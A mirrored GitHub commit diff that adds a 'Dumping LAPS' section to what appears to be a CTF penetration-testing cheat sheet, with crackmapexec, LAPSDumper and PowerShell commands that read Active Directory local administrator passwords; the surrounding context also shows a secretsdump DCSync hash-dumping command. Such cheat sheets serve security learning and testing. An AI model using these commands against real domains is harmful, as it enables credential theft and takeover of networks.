mirror of
https://github.com/AbdullahRizwan101/CTF-Writeups
synced 2024-11-10 06:34:17 +00:00
Update Cheat Sheet.md
This commit is contained in:
parent
30a14632f9
commit
0e00b4897f
1 changed files with 23 additions and 0 deletions
|
@ -459,6 +459,29 @@ If we find a user having DCsync rights or GetChangeAll privileges meaning to rep
|
|||
```
|
||||
python3 secretsdump.py 'DOMAIN/USERNAME':'PASSOWRD'@IP -just-dc-ntlm
|
||||
```
|
||||
|
||||
## Dumping LAPS
|
||||
|
||||
LAPS is a Local Adminstrator Password Solution which will ensure that the password for administrator account is set random across the AD environment, to dump LAPS we can do it in three ways
|
||||
|
||||
### Dumping through crackmapexec
|
||||
|
||||
```bash
|
||||
cme ldap IP -u 'USER' -p 'PASS' -M laps
|
||||
```
|
||||
|
||||
### Dumping through LAPS Dumper (https://github.com/n00py/LAPSDumper)
|
||||
|
||||
```bash
|
||||
python3 ./laps.py -u 'USER' -p 'PASS' -d domain
|
||||
```
|
||||
|
||||
### Dumping through Powershell's AD-Module
|
||||
|
||||
```powershell
|
||||
Get-ADComputer -Identity "HOST_NAME" -Properties "ms-mcs-AdmPwd"
|
||||
```
|
||||
|
||||
### Abusing Constrained/Unconstrained Delegations
|
||||
```
|
||||
https://cheatsheet.haax.fr/windows-systems/privilege-escalation/delegations/
|
||||
|
|
Loading…
Reference in a new issue